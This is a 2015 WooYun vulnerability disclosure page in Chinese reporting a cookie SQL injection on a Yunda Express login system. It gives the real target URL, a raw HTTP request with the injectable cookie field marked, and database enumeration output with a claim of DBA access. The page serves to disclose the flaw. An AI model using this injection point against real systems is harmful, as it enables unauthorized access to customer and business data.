当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109728

漏洞标题:韵达快递某核心业务cookie注入

相关厂商:韵达快递

漏洞作者: 路人甲

提交时间:2015-04-22 18:10

修复时间:2015-04-27 18:12

公开时间:2015-04-27 18:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-22: 细节已通知厂商并且等待厂商处理中
2015-04-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

15块

详细说明:

漏洞网站:http://oos.yundasys.com/login.php
http信息:

GET / HTTP/1.1
Host: oos.yundasys.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: YD_OOS_GS=deleted*; YD_OOS_USER=deleted; YD_OOS_USERID=deleted; YD_OOS_QX=deleted; YD_OOS_PASS=deleted; JSESSIONID_YUNDA_APP=cPpGJfQJ8ty5vgjVT1Ny48SvWKTHQk5nM2cMTnNTJ2W6LHyTGQxc!-2091719557; JSESSIONID=M3W6JfFf5mrh3g0NN1Sx9bGlY25WzRTpGxTWlTYvGpJnf6jLCcRy!1766110527; PHPSESSID=o19uoku5r7u9ofeqefep7c5lt5


漏洞字段YD_OOS_GS

available databases [33]:
[*] cust
[*] information_schema
[*] mysql
[*] oos
[*] oos_201304
[*] oos_201305
[*] oos_201306
[*] oos_201307
[*] oos_201308
[*] oos_201309
[*] oos_201310
[*] oos_201311
[*] oos_201312
[*] oos_201401
[*] oos_201402
[*] oos_201404
[*] oos_201405
[*] oos_201406
[*] oos_201407
[*] oos_201408
[*] oos_201410
[*] oos_201411
[*] oos_201412
[*] oos_201502
[*] oos_201503
[*] oos_201504
[*] oos_201505
[*] oos_201506
[*] oos_20150A
[*] oos_20A403
[*] oos_2a1409
[*] performance_schema
[*] yiserver


漏洞证明:

x.png


dba权限

修复方案:

。。。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-27 18:12

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论